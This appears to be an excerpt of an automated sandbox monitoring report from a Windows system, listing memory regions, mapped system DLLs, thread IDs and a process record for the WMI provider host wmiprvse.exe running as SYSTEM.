4214 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 4215 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 4216 start_va = 0x7fef7320000 end_va = 0x7fef732efff entry_point = 0x7fef7320000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 4217 start_va = 0x1d0000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 4218 start_va = 0x7fefceb0000 end_va = 0x7fefcec6fff entry_point = 0x7fefceb0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 4219 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 4220 start_va = 0x7fefcbb0000 end_va = 0x7fefcbf6fff entry_point = 0x7fefcbb0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 4221 start_va = 0xb90000 end_va = 0xe5efff entry_point = 0xb90000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4222 start_va = 0xec0000 end_va = 0xf3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ec0000" filename = "" Region: id = 4223 start_va = 0xf40000 end_va = 0xfbffff entry_point = 0x0 region_type = private name = "private_0x0000000000f40000" filename = "" Region: id = 4224 start_va = 0x7fef7020000 end_va = 0x7fef7033fff entry_point = 0x7fef7020000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 4225 start_va = 0x7fef7330000 end_va = 0x7fef7356fff entry_point = 0x7fef7330000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 4226 start_va = 0x7fef7360000 end_va = 0x7fef7441fff entry_point = 0x7fef7360000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 4227 start_va = 0x7fefd5a0000 end_va = 0x7fefd5b3fff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 4228 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 4229 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Thread: id = 178 os_tid = 0xb64 Thread: id = 179 os_tid = 0xbd8 Thread: id = 180 os_tid = 0xbd0 Thread: id = 181 os_tid = 0xbd4 Thread: id = 182 os_tid = 0xbc8 Thread: id = 183 os_tid = 0xbcc Process: id = "61" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x5c905000" os_pid = "0xbbc" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "28" os_parent_pid = "0x374" cmd_line = "C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xe], "NT SERVICE\\LanmanServer" [0xe], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xe], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xe], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xe], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xe], "NT SERVICE\\wuauserv" [0xe], "NT AUTHORITY\\Logon Session 00000000:0000cf06" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Region: id = 4230 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4231 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4232 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4233 start_va = 0x1f0000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 4234 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4235 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4236 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4237 start_va = 0xff2d0000 end_va = 0xff32efff entry_point = 0xff2d0000 region_type = mapped_file name = "wmiprvse.exe" filename = "\\Windows\\System32\\wbem\\WmiPrvSE.exe" (normalized: "c:\\windows\\system32\\wbem\\wmiprvse.exe") Region: id = 4238 start_va = 0x7feff990000 end_va = 0x7feff990fff entry_point = 0x7feff990000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4239 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4240 start_va = 0x7fffffd7000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd7000" filename = "" Region: id = 4241 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 4242 start_va = 0x420000 end_va = 0x51ffff entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 4243 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x77550000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4244 start_va = 0x7fefd920000 end_va = 0x7fefd98afff entry_point = 0x7fefd920000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4245 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4246 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4247 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4248 start_va = 0xc0000 end_va = 0x1bffff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 4249 start_va = 0x1c0000 end_va = 0x1c0fff entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 4250 start_va = 0x1d0000 end_va = 0x1d0fff entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 4251 start_va = 0x270000 end_va = 0x3f7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000270000" filename = "" Region: id = 4252 start_va = 0x520000 end_va = 0x6a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000520000" filename = "" Region: id = 4253 start_va = 0x6b0000 end_va = 0x76ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006b0000" filename = "" Region: id = 4254 start_va = 0x7c0000 end_va = 0x83ffff entry_point = 0x0 region_type = private name = "private_0x00000000007c0000" filename = "" Region: id = 4255 start_va = 0x840000 end_va = 0x93ffff entry_point = 0x0 region_type = private name = "private_0x0000000000840000" filename = "" Region: id = 4256 start_va = 0x950000 end_va = 0x9cffff entry_point = 0x0 region_type = private name = "private_0x0000000000950000" filename = "" Region: id = 4257 start_va = 0x9d0000 end_va = 0xc9efff entry_point = 0x9d0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4258 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x77450000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4259 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4260 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4261 start_va = 0x7fef6e90000 end_va = 0x7fef6ea5fff entry_point = 0x7fef6e90000 region_type = mapped_file name = "ncobjapi.dll" filename = "\\Windows\\System32\\ncobjapi.dll" (normalized: "c:\\windows\\system32\\ncobjapi.dll") Region: id = 4262 start_va = 0x7fef7330000 end_va = 0x7fef7356fff entry_point = 0x7fef7330000 region_type = mapped_file name = "ntdsapi.dll" filename = "\\Windows\\System32\\ntdsapi.dll" (normalized: "c:\\windows\\system32\\ntdsapi.dll") Region: id = 4263 start_va = 0x7fef7360000 end_va = 0x7fef7441fff entry_point = 0x7fef7360000 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 4264 start_va = 0x7fef7490000 end_va = 0x7fef7515fff entry_point = 0x7fef7490000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 4265 start_va = 0x7fefdb10000 end_va = 0x7fefdbaefff entry_point = 0x7fefdb10000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4266 start_va = 0x7fefdbb0000 end_va = 0x7fefdc86fff entry_point = 0x7fefdbb0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 4267 start_va = 0x7fefdc90000 end_va = 0x7fefdcf6fff entry_point = 0x7fefdc90000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4268 start_va = 0x7fefdd00000 end_va = 0x7fefddc8fff entry_point = 0x7fefdd00000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4269 start_va = 0x7fefddf0000 end_va = 0x7fefdff2fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4270 start_va = 0x7fefe0a0000 end_va = 0x7fefe1a8fff entry_point = 0x7fefe0a0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4271 start_va = 0x7fefe330000 end_va = 0x7fefe34efff entry_point = 0x7fefe330000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4272 start_va = 0x7fefe350000 end_va = 0x7fefe35dfff entry_point = 0x7fefe350000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4273 start_va = 0x7feff2d0000 end_va = 0x7feff2d7fff entry_point = 0x7feff2d0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 4274 start_va = 0x7feff490000 end_va = 0x7feff4dcfff entry_point = 0x7feff490000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 4275 start_va = 0x7feff740000 end_va = 0x7feff81afff entry_point = 0x7feff740000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4276 start_va = 0x7feff820000 end_va = 0x7feff94cfff entry_point = 0x7feff820000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4277 start_va = 0x7feff950000 end_va = 0x7feff97dfff entry_point = 0x7feff950000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4278 start_va = 0x1e0000 end_va = 0x1e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 4279 start_va = 0x400000 end_va = 0x401fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 4280 start_va = 0xca0000 end_va = 0x1092fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ca0000" filename = "" Region: id = 4281 start_va = 0x7fefb520000 end_va = 0x7fefb54cfff entry_point = 0x7fefb520000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 4282 start_va = 0x7fefd4b0000 end_va = 0x7fefd4befff entry_point = 0x7fefd4b0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4283 start_va = 0x7fefe1b0000 end_va = 0x7fefe201fff entry_point = 0x7fefe1b0000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 4284 start_va = 0x410000 end_va = 0x410fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000410000" filename = "" Region: id = 4285 start_va = 0x770000 end_va = 0x770fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000770000" filename = "" Region: id = 4286 start_va = 0x780000 end_va = 0x780fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 4287 start_va = 0x1100000 end_va = 0x117ffff entry_point = 0x0 region_type = private name = "private_0x0000000001100000" filename = "" Region: id = 4288 start_va = 0x11c0000 end_va = 0x123ffff entry_point = 0x0 region_type = private name = "private_0x00000000011c0000" filename = "" Region: id = 4289 start_va = 0x1260000 end_va = 0x12dffff entry_point = 0x0 region_type = private name = "private_0x0000000001260000" filename = "" Region: id = 4290 start_va = 0x12f0000 end_va = 0x136ffff entry_point = 0x0 region_type = private name = "private_0x00000000012f0000" filename = "" Region: id = 4291 start_va = 0x13e0000 end_va = 0x145ffff entry_point = 0x0 region_type = private name = "private_0x00000000013e0000" filename = "" Region: id = 4292 start_va = 0x14a0000 end_va = 0x151ffff entry_point = 0x0 region_type = private name = "private_0x00000000014a0000" filename = "" Region: id = 4293 start_va = 0x7fef6ff0000 end_va = 0x7fef7015fff entry_point = 0x7fef6ff0000 region_type = mapped_file name = "wmiutils.dll" filename = "\\Windows\\System32\\wbem\\wmiutils.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiutils.dll") Region: id = 4294 start_va = 0x7fef7020000 end_va = 0x7fef7033fff entry_point = 0x7fef7020000 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 4295 start_va = 0x7fef7320000 end_va = 0x7fef732efff entry_point = 0x7fef7320000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 4296 start_va = 0x7fefcbb0000 end_va = 0x7fefcbf6fff entry_point = 0x7fefcbb0000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 4297 start_va = 0x7fefceb0000 end_va = 0x7fefcec6fff entry_point = 0x7fefceb0000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 4298 start_va = 0x7fefd5a0000 end_va = 0x7fefd5b3fff entry_point = 0x7fefd5a0000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 4299 start_va = 0x7fefe000000 end_va = 0x7fefe098fff entry_point = 0x7fefe000000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4300 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 4301 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 4302 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 4303 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 4304 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 4305 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 4306 start_va = 0x7fef8d60000 end_va = 0x7fef8d9bfff entry_point = 0x7fef8d60000 region_type = mapped_file name = "wmiprov.dll" filename = "\\Windows\\System32\\wbem\\wmiprov.dll" (normalized: "c:\\windows\\system32\\wbem\\wmiprov.dll") Region: id = 4307 start_va = 0x1520000 end_va = 0x159ffff entry_point = 0x0 region_type = private name = "private_0x0000000001520000" filename = "" Region: id = 4308 start_va = 0x7fef4bd0000 end_va = 0x7fef4c17fff entry_point = 0x7fef4bd0000 region_type = mapped_file name = "mofd.dll" filename = "\\Windows\\System32\\wbem\\mofd.dll" (normalized: "c:\\windows\\system32\\wbem\\mofd.dll") Region: id = 4309 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Thread: id = 184 os_tid = 0xbc4 Thread: id = 185 os_tid = 0xbac Thread: id = 186 os_tid = 0xbb8 Thread: id = 187 os_tid = 0xbe8 Thread: id = 188 os_tid = 0xa18 Thread: id = 189 os_tid = 0x740 Thread: id = 190 os_tid = 0xa08 Thread: id = 191 os_tid = 0xa0c Thread: id = 193 os_tid = 0x6bc